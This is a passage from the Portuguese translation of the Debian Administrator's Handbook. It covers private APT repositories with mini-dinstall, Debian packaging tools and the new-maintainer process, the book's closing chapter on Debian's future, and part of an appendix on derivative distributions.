reprepro e aptly são ferramentas mais avançadas para o mesmo propósito. Eles podem produzir, gerenciar e sincronizar vários repositórios de pacotes, espelhar outros repositórios, até mesmo selecionar pacotes de repositórios oficiais e fornecê-los localmente, criar assinaturas dos índices de pacotes gerados e, assim, fornecer repositórios assinados. reprepro armazena pacotes e somas de verificação (em inglês, checksums) em um arquivo de banco de dados Berkeley DB, então nenhum servidor de banco de dados é necessário. aptly fornece a mesma funcionalidade, mas pode ser mais fácil de manusear. Infelizmente, ambos os projetos, embora provavelmente as soluções mais ricas em recursos, não estão sendo desenvolvidos ativamente no momento.

reprepro vem com muita documentação e exemplos em /usr/share/doc/reprepro/, enquanto aptly tem uma vasta documentação online.

→ https://www.aptly.info/

Para configurar o mini-dinstall é necessário a configuração do arquivo ~/.mini-dinstall.conf; no caso da Falcot Corp, o conteúdo é o seguinte:

[DEFAULT] archive_style = flat archivedir = /srv/vhosts/packages verify_sigs = 0 mail_to = admin@falcot.com generate_release = 1 release_origin = Falcot Corp release_codename = stable [updates] release_label = Recompiled Debian Packages [internal] release_label = Internal Packages

Uma decisão que merece atenção é a geração de arquivos Release para cada pacote. Isso pode ajudar a gerenciar as prioridades de instalação de pacotes usando o arquivo de configuração /etc/apt/preferences (veja em Seção 6.2.5, “Gerenciar prioridades de pacote” para detalhes).

SEGURANÇA mini-dinstall e permissões

Como o mini-dinstall foi projetado para ser executado como um usuário normal, não há necessidade de executá-lo como root. A maneira mais fácil é configurar tudo dentro da conta de usuário que pertence ao administrador encarregado de criar os pacotes Debian. Uma vez que apenas este administrador tem as permissões necessárias para colocar os arquivos no diretório incoming/, podemos deduzir que o administrador autenticou a origem de cada pacote antes da publicação e o mini-dinstall não precisam fazê-lo novamente. Isto explica o parâmetro verify_sigs = 0 (o que significa que as assinaturas não precisam ser verificadas). No entanto, se o conteúdo dos pacotes é sensível, podemos reverter o cenário a configuração e optar por autenticar com um chaveiro contendo as chaves públicas de pessoas com autorização para criar pacotes (configurados com o parâmetro extra_keyrings); mini-dinstall irá então verificar a origem de cada pacote de entrada, analisando a assinatura integrada para o arquivo *.changes.

Executar mini-dinstall começa, na verdade, um daemon em segundo plano. Enquanto este daemon é executado, ele irá verificar se há novos pacotes no diretório incoming/ a cada meia hora; quando um novo pacote chegar, ele será movido para o repositório e os arquivos Packages.gz e Sources.gz serão restaurados. Se executar um daemon é um problema, mini-dinstall também pode ser chamado manualmente no modo batch (com a opção -b) cada vez que um pacote for enviado para o diretório incoming/. Outras possibilidades oferecidas pelo mini-dinstall estão documentadas na sua página de manual mini-dinstall(1).

EXTRA Gerando um arquivo assinado

A suíte APT verifica uma cadeia de assinaturas criptográficas nos pacotes que ela trata, antes de instalá-los, para que se garantam suas autenticidades (veja Seção 6.6, “Verificando Autenticidade do Pacote”). Repositórios APT privados podem ser um problema, uma vez que as máquinas que os usam irão ficar exibindo alertas de pacotes não assinados. Um administrador zeloso, portanto, integrará arquivos privados com o mecanismo de APT seguro.

Para ajudar nesse processo, o mini-dinstall inclui uma opção de configuração release_signscript que permite especificar um script que será usado para gerar a assinatura. Um bom ponto de partida é o script sign-release.sh fornecido pelo pacote mini-dinstall em /usr/share/doc/mini-dinstall/examples/; pode ser relevante fazer mudanças específicas.

15.4. Tornando-se um Mantenedor de Pacotes

15.4.1. Aprendendo a Fazer Pacotes

Criar um pacote Debian de qualidade não é sempre uma tarefa simples, e se tornar um mantenedor de pacote requer aprendizado, tanto na teoria quanto na prática em questões técnicas e legais. Não é simplesmente uma questão de construir ou instalar programas; em vez disso, a maior parte da complexidade vem do entendimento de problemas e conflitos, e mais geralmente as interações, com a miríade de outros pacotes disponíveis.

15.4.1.1. Regras

Um pacote Debian deve respeitar as regras precisas elaboradas na política Debian, e cada mantenedor do pacote deve conhecê-las. Não há nenhuma exigência de conhecê-las de cor, mas sim de saber que elas existem e para consultá-las sempre que uma escolha apresente uma alternativa não-trivial. Todo mantenedor Debian comete erros por não conhecer uma regra, mas isso não é um grande problema, contanto que o erro seja corrigido quando um usuário o relate com um relatório de bug (o que tende a acontecer muito em breve graças a usuários avançados). O campo Standards-Version no nome debian/control/ especifica a versão da política do Debian com a qual o pacote está em conformidade. Os mantenedores devem obedecer à última versão da política Debian.

→ https://www.debian.org/doc/debian-policy/

15.4.1.2. Procedimentos

O Debian não é uma simples coleção de pacotes individuais. O trabalho de empacotamento de cada um é parte de um projeto coletivo; ser um desenvolvedor Debian envolve saber como o projeto Debian funciona como um todo. Todo desenvolvedor irá, mais cedo ou mais tarde, interagir com os outros. O livro Referência do Desenvolvedor Debian (o pacote developers-reference) resume o que todo desenvolvedor deve saber, a fim de interagir da melhor forma possível com as diversas equipes dentro do projeto, e para levar a melhores vantagens possíveis dos recursos disponíveis. Este documento também enumera uma série de deveres que se espera que um desenvolvedor cumpra.

→ https://www.debian.org/doc/manuals/developers-reference/

15.4.1.3. Ferramentas

Muitas ferramentas ajudam os mantenedores de pacotes em seu trabalho. Esta seção as descreve rapidamente, mas não dá todos os detalhes, já que cada uma delas contém documentação detalhada.

15.4.1.3.1. devscripts

O pacote devscripts contém diversos programas que ajudam com uma vasta gama do trabalho dos desenvolvedores Debian:

debuild permite gerar um pacote (com dpkg-buildpackage) e executar lintian para verificar a compatibilidade com a política Debian depois.

debclean limpa um pacote fonte após o pacote binário ter sido gerado.

dch permite a edição rápida e fácil do arquivo debian/changelog num pacote fonte.

uscan verifica se foi liberada uma nova versão de um software pelo autor principal; Isso requer um arquivo debian/watch com uma descrição da localização de tais lançamentos.

debi permite a instalação (com dpkg -i) do pacote Debian que acabou de ser gerado sem a necessidade de digitar seu nome e caminho completos.

De uma maneira similar, debc permite varrer o conteúdo de um pacote recentemente criado (com dpkg -c), sem a necessidade de digitar o nome e caminho completos.

bts controla o sistema de bug pela linha de comando, este programa automaticamente gera os e-mails apropriados.

→ https://www.debian.org/Bugs/server-refcard

debrelease envia um pacote recém gerado a um servidor remoto, sem a necessidade de digitar o nome e caminho completos do arquivo .changes relacionado.

debsign assina os arquivos *.dsc e *.changes.

uupdate automatiza a criação de uma nova revisão de um pacote quando uma nova versão upstream é lançada.

Todos os comandos mencionados estão documentados em suas respectivas páginas de manual. Eles podem ainda ser configurados por usuário em um arquivo: ~/.devscripts.

15.4.1.3.2. debhelper e dh-make

Debhelper é um conjunto de scripts que facilitam a criação de pacotes compatíveis com a política; esses scripts são chamados a partir do debian/rules. Debhelper tem sido amplamente adotado no Debian, como evidenciado pelo fato de que ele é usado pela maioria dos pacotes Debian oficiais. Todos os comandos dele contém um prefixo dh_. Cada um deles é documentado em uma página de manual. Os diferentes níveis de compatibilidade e opções comuns são descritos em debhelper(7).

O script dh_make (no pacote dh-make) cria arquivos necessários para a geração de um pacote Debian em um diretório inicialmente contendo os fontes do programa. Como você pode ter adivinhado pelo nome do programa, o arquivo gerado usa por padrão o debhelper.

15.4.1.3.3. lintian

Esta ferramenta é uma das mais importantes: é o verificador de pacotes Debian. É baseada em uma vasta matriz de testes criada pela política do Debian, e detecta rápido e automaticamente muitos erros que podem ser então consertados antes de os pacotes serem lançados.

Esta ferramenta é apenas um ajudante, e algumas vezes falha (por exemplo, já que a política do Debian muda com o tempo, lintian fica algumas vezes desatualizado). Também não é exaustiva: não receber nenhum erro no Lintian não deve ser interpretado como prova de que o pacote é perfeito; no máximo, ele evita os erros mais comuns.

15.4.1.3.4. piuparts

Esta é outra ferramenta importante: ele automatiza a instalação, atualização, remoção e limpeza de um pacote (em um ambiente isolado), verifica se nenhuma dessas operações leva a um erro. Ela pode ajudar na detecção de dependências que estão faltando, e também detecta quando os arquivos são deixados incorretamente depois que o pacote foi expurgado.

15.4.1.3.5. autopkgtest

autopkgtest executa testes em pacotes binários, usando os testes fornecidos no pacote fonte em debian/tests/. Vários comandos permitem a fácil criação de ambientes de teste em chroot ou virtuais.

15.4.1.3.6. reprotest

reprotest constrói o mesmo código fonte duas vezes em ambientes diferentes, e verifica se os binários produzidos em cada ambiente em busca de diferenças. Se qualquer diferente é encontrada, o diffoscope (ou o diff) é usado para mostrá-las em detalhes para análise posterior.

15.4.1.3.7. dupload e dput

Os comandos dupload e dput permitem o upload de um pacote Debian para um servidor (possivelmente remoto). Isto permite aos desenvolvedores publicarem seu pacote no servidor principal Debian (ftp-master.debian.org) de modo que ele possa ser integrado ao repositório e distribuído pelos espelhos. Estes comandos pegam um arquivo .changes como parâmetro, e deduzem os outros arquivos relevantes a partir de seu conteúdo.

15.4.1.3.8. git-buildpackage e dgit

O projeto tem usado vários sistemas de controle de versão ao longo dos anos para armazenar os esforços de empacotamento ou o código-fonte do pacote, ou permitir a manutenção colaborativa do pacote. Em um esforço para unificar os sistemas e esforços, foi finalmente decidido em 2017 mover (quase) todas as fontes de pacotes para Git (CULTURA Git) para uma instância do GitLab chamado salsa.debian.org.

→ https://salsa.debian.org/

Para tornar o empacotamento usando Git mais fácil para desenvolvedores Debian, ferramentas foram desenvolvidas. Isso permite não apenas armazenar os arquivos de empacotamento no Git, mas também usar os repositórios Git (e seu histórico) de projetos de software, colocar patches aplicados a fontes de pacotes no histórico do Git, manter versões de software por distribuição, etc.

Um dos pacotes mais famosos é o git-buildpackage. Uma alternativa é dgit. Claro que ainda é possível usar nenhum desses.

Abaixo está um exemplo para um arquivo de configuração ~/.gbp.conf

[DEFAULT] builder = sbuild -d bullseye --build-dep-resolver=aptitude -s --source-only-changes --build-failed-commands "%SBUILD_SHELL" pristine-tar = true [buildpackage] sign-tags = true keyid = XXXX postbuild = autopkgtest --user debci --apt-upgrade -s "$GBP_CHANGES_FILE" -- lxc --sudo autopkgtest-bullseye-amd64 export-dir = /tmp/build-area/ notify = off [import-orig] filter-pristine-tar = true sign-tags = true [pq] drop = true

Construir o pacote é tão fácil quanto executar gbp buildpackage na árvore do Git. Ele iniciará a construção de um pacote em um chroot do Debian Bullseye usando sbuild. Quando a construção é bem-sucedida, os arquivos criados são verificados executando o autopkgtest-testsuite (se definido). Todas as várias opções são explicadas em gbp.conf(5) e /etc/git-buildpackage/gbp.conf .

Todas as ferramentas mencionadas até agora também foram incluídas no processo de integração contínua (CI) na instância salsa.debian.org:

→ https://salsa .debian.org/salsa-ci-team/pipeline

15.4.2. Processo de Aceitação

Tornar-se um desenvolvedor Debian não é somente uma questão administrativa. O processo compreende vários passos, e é tanto uma iniciação quando um processo seletivo. Em todo caso, é formalizado e bem documentado, então qualquer um pode verificar o progresso no site web dedicado para o processo de novos membros.

→ https://nm.debian.org/

EXTRA Processo leve para "Mantenedores Debian"

"Mantenedor Debian" é outro status que dá menos privilégios que o "Desenvolvedor Debian", mas que tem um processo associado mais rápido. Com esse status, os contribuidores podem manter seus próprios pacotes apenas. Um desenvolvedor Debian só precisa executar uma verificação em um envio inicial, e emitir uma declaração para efeito de que eles confiam no mantenedor prospectivo sobre a capacidade de manter o pacote por conta própria.

15.4.2.1. Pré-requisitos

É esperado de todos os candidatos ter ao menos conhecimento da lingua inglesa. Isto é requerido em todos os níveis: para a comunicação inicial com o examinador, é claro, mas também depois, já que o inglês é a lingua preferida na maioria dos documentos; também, os usuários dos pacotes se comunicarão em inglês quando reportarem erros, e os mesmos esperam uma reposta em inglês.

Outro pré-requisito lida com motivação. Tornar-se um desenvolvedor Debian é um processo que somente faz sentido se o candidato sabe que seu interesse no Debian durará mais do que muitos meses. O processo de aceitação em si deve durar diversos meses, e o Debian precisa de desenvolvedores para um longo trajeto; cada pacote precisa de manutenção permanente, e não somente uma versão inicial.

15.4.2.2. Registrando

O primeiro passo (real) consiste em encontrar um patrocinador ou defensor; isso significa um desenvolvedor oficial disposto a afirmar que ele acredita que aceitar X seria uma coisa boa para o Debian. Isso geralmente significa que o candidato já foi ativo dentro da comunidade, e que o seu trabalho foi apreciado. Se o candidato é tímido e seu trabalho não é apresentado publicamente, ele pode tentar convencer um desenvolvedor Debian para defendê-lo, mostrando o seu trabalho em privado.

Ao mesmo tempo, o candidato deve gerar um par de chaves RSA pública/privada com o GnuPG, que deve ser assinado por pelo menos dois desenvolvedores oficiais Debian. A assinatura autentica o nome da chave. Efetivamente, durante uma festa de assinatura de chaves, cada participante deve mostrar uma identificação oficial (normalmente um cartão de identificação ou passaporte), juntamente com os seus identificadores de chave. Esta etapa confirma a ligação entre o humano e as chaves. Esta assinatura, portanto, requer um encontro na vida real. Se você ainda não encontrou quaisquer desenvolvedores Debian em uma conferência pública de software livre, você pode procurar explicitamente desenvolvedores que vivem nas proximidades usando a lista na seguinte página web como um ponto de partida.

→ https://wiki.debian.org/Keysigning

Uma vez que o registro no nm.debian.org foi validado pelo defensor, um Gerenciador de Aplicações é atribuído ao candidato. O gerenciador de aplicativos, então, conduz o processo através de várias etapas e verificações pré-definidas.

A primeira verificação é uma verificação de identidade. Se você já tiver uma chave assinada por dois desenvolvedores Debian, este passo é fácil; caso contrário, o Gerenciador de aplicativos irá tentar e guiá-lo em sua busca por desenvolvedores Debian por perto para organizar um encontro e uma assinatura de chaves.

15.4.2.3. Aceitando os Princípios

Estas formalidades administrativas são seguidas por considerações filosóficas. O ponto é ter certeza de que o candidato compreende e aceita o contrato social e os princípios por trás do Software Livre. Se juntar ao Debian só é possível se a pessoa compartilha os valores que unem os desenvolvedores atuais, como expresso nos textos fundamentais (e resumido na Capítulo 1, O Projeto Debian).

Além disso, de cada candidato que pretende aderir às fileiras Debian é esperado saber o funcionamento do projeto e como interagir de forma adequada para resolver os problemas que elas irão sem dúvida encontrar com o passar do tempo. Toda esta informação geralmente está documentada nos manuais feitos para o novo mantenedor e na Referência do Desenvolvedor Debian. Uma leitura atenta deste documento deve ser suficiente para responder às perguntas do examinador. Se as respostas não forem satisfatórias, o candidato será informado. Em seguida, ele terá que ler (novamente) a documentação pertinente antes de tentar novamente. Nos casos onde a documentação existente não contém a resposta adequada para a questão, o candidato geralmente pode chegar a uma resposta com alguma experiência prática dentro do Debian, ou potencialmente, discutindo com outros desenvolvedores Debian. Esse mecanismo garante que candidatos se envolvam um pouco no Debian antes de se tornarem parte integral dele. É uma postura deliberada, por que candidatos que eventualmente se unem ao projeto integram-se como uma peça de um quebra-cabeça infinitamente extensível.

Esta etapa é geralmente conhecida como Filosofia & Procedimentos (P&P, abreviando) no jargão dos desenvolvedores envolvidos no processo de novos membros.

15.4.2.4. Verificando Habilidades

Cada aplicação para se tornar um desenvolvedor oficial Debian deve ser justificada. Se tornar um membro do projeto requer demonstrar que esse status é legítimo, e que facilita o trabalho do candidato no sentido de ajudar o Debian. A justificativa mais comum é que a concessão de status de desenvolvedor Debian facilita a manutenção de um pacote Debian, mas não é o única. Alguns desenvolvedores participam do projeto para contribuir para portar para uma arquitetura específica, outros querem melhorar a documentação, e assim por diante.

Esta etapa representa a oportunidade para o candidato afirmar o que ele pretende fazer dentro do projeto Debian e para mostrar o que ele já fez para esse fim. Debian é um projeto pragmático e dizer alguma coisa não é suficiente, se as ações não correspondem ao que é anunciado. Geralmente, quando o papel pretendido dentro do projeto está relacionado a manutenção depacotes, uma primeira versão do pacote prospectado terá que ser validada tecnicamente e enviada para os servidores Debian por um patrocinador entre os desenvolvedores Debian existentes.

COMUNIDADE Patrocinando

Desenvolvedores Debian podem "patrocinar" pacotes preparados por outra pessoa, o que significa que eles os publicam nos repositórios oficiais do Debian, após terem efetuado uma revisão cuidadosa. Este mecanismo permite que pessoas externas, que ainda não passaram pelo processo de novo membro, contribuam ocasionalmente para o projeto. Ao mesmo tempo, ele garante que todos os pacotes incluídos no Debian sempre serão verificados por um membro oficial.

Finalmente, o examinador verifica as habilidades técnicas (de empacotamento) do candidato com um questionário detalhado. Respostas ruins não são permitidas, mas o tempo de resposta não é limitado. Toda a documentação está disponível e várias tentativas são permitidas se as primeiras respostas não são satisfatórias. Esta etapa não tem a intenção de discriminar, mas de garantir pelo menos um mínimo de conhecimento comum para novos colaboradores.

Este passo é conhecido como Tasks & Skills - Tarefas & Habilidades passo (T&S abreviando) no jargão dos examinadores.

15.4.2.5. Aprovação Final

No último passo, todo o processo é revisado por um DAM (Debian Account Manager - Gerente de Contas Debian). O DAM irá rever todas as informações sobre o candidato que o examinador coletou, e tomar decisão sobre se deve ou não criar uma conta nos servidores Debian. Nos casos em que informação adicional é necessária, a criação da conta pode ser adiada. As recusas são bastante raras, se o examinador faz um bom trabalho ao acompanhar o processo, mas às vezes acontecem. Elas nunca são permanentes, e o candidato é livre para tentar novamente em um momento posterior.

A decisão do DAM é autoritária e (quase sempre) sem apelação, o que explica porque pessoas nessa posição foram frequentemente criticadas no passado.

Capítulo 16. Conclusão: O Futuro do Debian

A história da Falcot Corp termina com este último capítulo; mas o Debian continua, e o futuro certamente trará muitas surpresas interessantes.

16.1. Desenvolvimentos futuros

Agora que a versão 11 do Debian foi lançada, os desenvolvedores já estão ocupados trabalhando na próxima versão, codinome Bookworm…

Não há uma lista oficial de todas as mudanças planejadas, e o Debian nunca faz promessas relacionadas aos objetivos técnicos das próximas versões. No entanto, algumas tendências de desenvolvimento e tópicos de discussão já podem ser observados, e podemos tentar adivinhar o que pode acontecer (ou não). Algumas das mudanças esperadas estão documentadas nas notas de lançamento do Debian 11:

→ https://www.debian.org/releases/bullseye/amd64/release-notes/ch-information.en.html#deprecated-components

Além da depreciação usual de alguns componentes de software, vale ressaltar que o Debian está em processo de mudança para o que é conhecido como sistema de arquivos merged-usr: neste esquema /bin, /sbin e /lib, são links simbólicos apontando para os diretórios correspondentes em /usr. Isso melhora a compatibilidade entre todos os sistemas Unix, nos aproxima de ter todos os arquivos fornecidos pelo Debian em um único diretório de nível superior que pode ser facilmente protegido, feito um instantâneo ou compartilhado. Você pode saber mais sobre os benefícios aqui:

→ https://www.freedesktop.org/wiki/Software/systemd/TheCaseForTheUsrMerge/

Esta importante mudança não é sem problemas: o dpkg terá que aprender sobre esses aliases de diretórios, mas o mantenedor do dpkg não gosta da solução técnica implantada pelo Debian e ainda não fez as alterações necessárias. A ajuda do comitê técnico do Debian já foi solicitada várias vezes. Sua última decisão pode ser encontrada aqui:

→ https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=994388#110

apt-key se tornará obsoleto. O gerenciamento de chaves para repositórios de terceiros deve depender apenas de chaves encontradas em /etc/apt/trusted.gpg.d ou configuradas via Signed-By conforme descrito em Seção 6.6, “Verificando Autenticidade do Pacote”.

Para algumas tarefas, a solução de software padrão será alterada. Por exemplo: o plocate pode ser uma substituição mais rápida e menor para o mlocate. O systemd continuará a adicionar novos recursos que ajudam a padronizar o processo de inicialização e o gerenciamento do sistema, permitindo que nos livremos de alguns outros softwares no sistema base.

É claro que todas as principais suítes de software terão uma versão principal. A versão mais recente dos vários desktops trará melhor usabilidade e novos recursos.

A permissão padrão dos diretórios pessoais será mais restritiva, permitindo que apenas o usuário acesse seus arquivos.

Os desenvolvimentos que já começaram continuarão: Melhorar a reprodutibilidade e a segurança da compilação, por exemplo. Com o uso generalizado da integração contínua e o crescimento do arquivo (e dos maiores pacotes!), as restrições nas arquiteturas de lançamento serão mais difíceis de atender e as arquiteturas serão descartadas.

16.2. Futuro do Debian

Além desses desenvolvimentos internos, pode-se esperar razoavelmente que novas distribuições baseadas em Debian venham à luz, já que muitas ferramentas simplificam esta tarefa. Novos subprojetos especializados também serão iniciados, a fim de ampliar o alcance do Debian para novos horizontes.

A comunidade Debian crescerá, e novos contribuidores se juntarão ao projeto... incluindo, talvez, você!

Há discussões recorrentes sobre como o ecossistema de software está evoluindo, para aplicativos enviados em contêineres, onde os pacotes Debian não têm valor agregado ou com gerenciadores de pacotes específicos de linguagem (por exemplo, pip para Python, npm para JavaScript, etc. .), que estão tornando o dpkg e o apt obsoleto. Enfrentando essas ameaças, estou convencido de que os desenvolvedores Debian encontrarão maneiras de abraçar essas mudanças e continuar a fornecer valor aos usuários.

Apesar da sua idade avançada e seu tamanho respeitável, o Debian continua crescendo em todas (algumas vezes inesperadas) as direções. Contribuidores estão repletos de ideias, e discussões na listas de e-mails de desenvolvimentos, mesmo quando elas parecem insignificantes, continuam aumentando o impulso. O Debian às vezes é comparado a um buraco negro, de tamanha densidade que qualquer projeto de software livre é atraído.

Além da aparente satisfação da maioria dos usuários Debian, uma tendência profunda está se tornando cada vez mais indiscutível: as pessoas (e empresas!) estão cada vez mais percebendo que colaborar, ao invés de trabalhar sozinho em seu canto, leva a melhores resultados para todos. O número de empresas comerciais que confiam no Debian é maior a cada ano.

O projeto Debian, portanto, não está ameaçado de extinção…

16.3. O Futuro deste Livro

Gostaríamos que este livro evoluísse no espírito do software livre. Portanto, agradecemos contribuições, observações, sugestões e críticas. Por favor, encaminhe-os para Raphaël (<hertzog@debian.org> ) ou Roland (< lolando@debian.org>). Para feedback acionável, sinta-se à vontade para abrir reportes de bugs contra o pacote Debian debian-handbook. O site será usado para reunir todas as informações relevantes para a sua evolução, e você encontrará nele informações sobre como contribuir, principalmente se você quiser traduzir este livro para torná-lo disponível para um público ainda maior do que hoje.

→ https://debian-handbook.info/

→ https://bugs.debian.org/src:debian-handbook

Tentamos integrar a maior parte do que nossa experiência com o Debian nos ensinou, para que qualquer pessoa possa usar esta distribuição e tirar o melhor proveito dela o mais rápido possível. Esperamos que este livro contribua para tornar o Debian menos confuso e mais popular, e agradecemos a publicidade sobre ele!

Gostaríamos de concluir com uma nota pessoal. Escrever (e traduzir) este livro consumiu um tempo considerável de nossa atividade profissional habitual. Já que ambos somos consultores freelance, qualquer nova fonte de renda nos garante a liberdade de gastar mais tempo melhorando o Debian; esperamos que este livro seja bem-sucedido e contribua para isso. Enquanto isso, fique à vontade para contratar nossos serviços!

→ https://www.freexian.com

→ https://www.gnurandal.com

Vejo vocês em breve!

Apêndice A. Distribuições Derivadas

Muitas distribuições Linux são derivadas do Debian e reutilizam as ferramentas de gerenciamento de pacotes do Debian. Todos eles têm suas próprias propriedades interessantes, e é possível que um deles satisfaça suas necessidades melhor do que o próprio Debian.

A.1. Censo e Cooperação

O projeto Debian reconhece plenamente a importância de distribuições derivadas e apoia ativamente a colaboração entre todas as partes envolvidas. Isso geralmente envolve a fusão (merge) do retorno das melhorias desenvolvidas inicialmente pelas distribuições derivadas para que todos possam se beneficiar e, a longo prazo, diminuir o trabalho de manutenção.

Isso explica porque distribuições derivadas são convidadas a se envolver em discussões na lista de discussão debian-derivatives@lists.debian.org, e para participar do censo das distros derivadas. Este recenseamento visa recolher informações sobre o trabalho que acontece em uma distro derivada para que os mantenedores do Debian oficiais possam controlar melhor o estado de seu pacote em variantes do Debian.

→ https://wiki.debian.org/DerivativesFrontDesk

→ https://wiki.debian.org/Derivatives/Census

Vamos agora descrever brevemente as distribuições derivadas mais interessantes e populares.

A.2. Ubuntu

O Ubuntu causou um grande impacto quando surgiu no cenário do software livre, e por uma boa razão: a Canonical Ltd., a empresa que criou esta distribuição, começou contratando trinta e poucos desenvolvedores Debian e declarando publicamente o objetivo de longo alcance de fornecer uma distribuição para o público em geral com um novo lançamento duas vezes por ano. Eles também se comprometeram a manter cada versão por um ano e meio.

Estes objetivos envolvem necessariamente uma redução no escopo; O Ubuntu se concentra em menos pacotes que o Debian, e se baseia principalmente na área de trabalho GNOME (apesar de existirem derivados do Ubuntu que possuem outros ambientes de trabalho como padrão). Tudo é internacionalizado e disponibilizado em um grande número de idiomas.

So far, Ubuntu has managed to keep this release rhythm. They also publish Long Term Support (LTS) releases, with a 5-year maintenance promise. As of April 2021, the current LTS version is version 20.04, nicknamed Focal Fossa. The last non-LTS version is version 21.04, nicknamed Hirsute Hippo. Version numbers describe the release date: 21.04, for example, was released in April 2021.

NA PRATICA A promessa de suporte e manutenção do Ubuntu

A Canonical tem ajustado várias vezes as regras que controlam o tamanho do período no qual uma determinada versão é mantida. A Canonical, como empresa, promete fornecer atualizações de segurança para todo o software disponível nas seções main e restricted do repositório Ubuntu por 5 anos para versões LTS e para 9 meses para versões não LTS. Todo o resto (disponível no universe e multiverse) é mantido por voluntários da equipe MOTU (Masters Of The Universe), com base no melhor esforço. Prepare-se para lidar com suporte de segurança por sua conta se depende de pacotes nestas últimas seções.

O Ubuntu atingiu uma vasta audiência no público em geral. Milhões de usuários ficaram impressionados com a sua facilidade de instalação, e o trabalho que foi feito para torná-lo o desktop mais simples de usar.

O Ubuntu e o Debian costumavam ter um relacionamento tenso; desenvolvedores Debian que tinham colocado muitas esperanças no Ubuntu contribuindo diretamente com o Debian estavam desapontados pela diferença entre a propaganda da Canonical, que creditava ao Ubuntu ser um bom cidadão no mundo do Software Livre, e a real prática onde ele apenas tornava pública as alterações que ele aplicava nos pacotes Debian. As coisas tem se tornado melhores com o passar dos anos, e o Ubuntu tem agora como uma prática comum repassar "patches" para os lugares mais apropriados (embora isso apenas se aplique no software externo que eles empacotam e não aos softwares específicos do Ubuntu, tal como Mir ou Unity).

→ https://www.ubuntu.com/

A.3. Linux Mint

Linux Mint é uma distribuição (parcialmente) mantida pela comunidade, apoiada por doações e anúncios. Seu principal produto é baseado no Ubuntu, mas eles também fornecem um “Linux Mint Debian Edition” (LMDE), que é baseado no Debian Stable com alguns backports. O LMDE está disponível para 32 e 64 bits.

Em ambos os casos, a instalação inicial envolve a inicialização em um DVD live ou um dispositivo de armazenamento USB live.

A distribuição visa simplificar o acesso a tecnologias avançadas e fornece interfaces gráficas de usuário específicas além do software usual. Por exemplo, o Linux Mint depende do Cinnamon em vez do GNOME por padrão (mas também inclui o MATE, assim como o Xfce); da mesma forma, a interface de gerenciamento de pacote, embora baseada em APT, fornece uma interface específica com uma avaliação do risco de cada atualização de pacote.

O Linux Mint inclui uma grande quantidade de softwares proprietários para melhorar a experiência de usuários que podem precisar deles. Por exemplo: Adobe Flash e codecs multimídia.

→ https://linuxmint.com/

A.4. Knoppix

A distribuição Knoppix quase não precisa de introdução. Foi a primeira distribuição popular a proporcionar um Live CD; em outras palavras, um CD-ROM inicializável que executa um sistema Linux sem necessidade de um disco rígido - logo, qualquer sistema já instalado na máquina ficará intocado. A detecção automática de dispositivos disponíveis permite que essa distribuição trabalhe na maioria das configurações de hardware. O CD-ROM inclui quase 1 GB de softwares (compactados), e a versão DVD-ROM tem em torno de 4,5 GB.

Combinando este CD-ROM com um pendrive USB você pode carregar seus arquivos com você, e trabalhar em qualquer computador sem deixar rastros - lembre-se que a distribuição não usa o disco rígido para nada. Knoppix usa o LXDE (um desktop gráfico leve) por padrão, mas a versão DVD também inclui o GNOME e o Plasma. Muitas outras distribuições fornecem outras combinações de desktops e software. Isto é, em parte, possível graças ao pacote Debian live-build que torna relativamente fácil criar um Live CD.

→ https://live-team.pages.debian.net/live-manual/

Note que o Knoppix também fornece um instalador: você pode experimentar primeiro a distribuição como um Live CD e depois instalá-la em um disco rígido para obter um melhor desempenho.

→ https://www.knopper.net/knoppix/

A.5. Aptosid e Siduction

Essas distribuições baseadas na comunidade rastreiam as mudanças no Debian Sid (Unstable) — daí seu nome. As modificações são limitadas em escopo: o objetivo é fornecer o software mais recente e atualizar os drivers para o hardware mais recente, enquanto ainda permite que os usuários voltem para a distribuição oficial do Debian a qualquer momento. Aptosid era conhecido anteriormente comoSidux , e Siduction é um fork mais recente do Aptosid.

→ http://aptosid.com

→ https://siduction.org

A.6. Grml

Grml é um live CD com muitas ferramentas para administradores de sistema, lidando com a instalação, implantação e recuperação do sistema. O live CD é fornecido em dois sabores, full e small, ambos disponíveis para PCs de 32 bits e de 64 bits. Obviamente, os dois sabores diferem pela quantidade de software incluído e pelo tamanho resultante.

→ https://grml.org

A.7. Tails

Tails OS (The Amnesic Incognito Live System) visa fornecer um sistema ao vivo que preserva o anonimato e a privacidade. Ele toma muito cuidado para não deixar rastros no computador em que é executado e usa a rede Tor para se conectar à Internet da maneira mais anônima possível.

→ https://tails.boum.org

A.8. Kali Linux

O Kali Linux é uma distribuição baseada no Debian especializada em testes de penetração (“pentesting” para abreviar). Ela provê software que ajuda a auditar a segurança de um computador ou rede existente enquanto está funcionando, e faz a análise após um ataque (o que é conhecido como “computação forense”).

→ https://kali.org

A.9. Devuan

Devuan é uma derivação do Debian iniciado em 2014 como uma reação à decisão feita pelo Debian de mudar para systemd como o sistema init padrão. Um grupo de usuários ligados ao sysv e contrários às desvantagens do systemd iniciaram o Devuan com o objetivo de manter um sistema sem systemd.

→ https://devuan.org

A.10. DoudouLinux

DoudouLinux tem como objetivo as crianças pequenas (a partir de 2 anos de idade). Para atingir esse objetivo, ele oferece uma interface gráfica totalmente personalizada (baseado no LXDE) e vem com muitos jogos e aplicações educativas. O acesso à internet é filtrado para evitar que as crianças visitem páginas web problemáticas. Anúncios são bloqueados. O objetivo é que os pais devem se sentir à vontade para deixar seus filhos usarem seu computador uma vez inicializado no DoudouLinux. E as crianças deveriam adorar usar DoudouLinux, da mesma forma que gostam dos seus consoles de videogame. Infelizmente, esta distribuição não teve nenhum desenvolvimento ativo nos últimos anos.

→ https://www.doudoulinux.org

A.11. Raspbian

Raspbian é uma reconstrução do Debian otimizada para a popular (e barata) família Raspberry Pi de computadores de placa única. O lançamento recente do Raspbian para a arquitetura arm64 não é mais uma reconstrução. Em vez disso, ele executa um Debian Bullseye impecável. O projeto apenas adiciona alguns pacotes extras, especialmente um kernel personalizado, para suportar totalmente o hardware.

→ https://raspbian.org

O Debian também fornece imagens próprias para vários dispositivos Raspberry Pi.

→ https://raspi.debian.net/

A.12. PureOS

PureOS é uma distribuição baseada em Debian focada em privacidade, conveniência e segurança. Ela segue as Diretrizes para Distribuições de Sistemas Livres do GNU, usadas pela Free Software Foundation para qualificar uma distribuição como livre (free, em inglês). A empresa com propósito social Purism direciona seu desenvolvimento.

→ https://pureos.net/

A.13. SteamOS

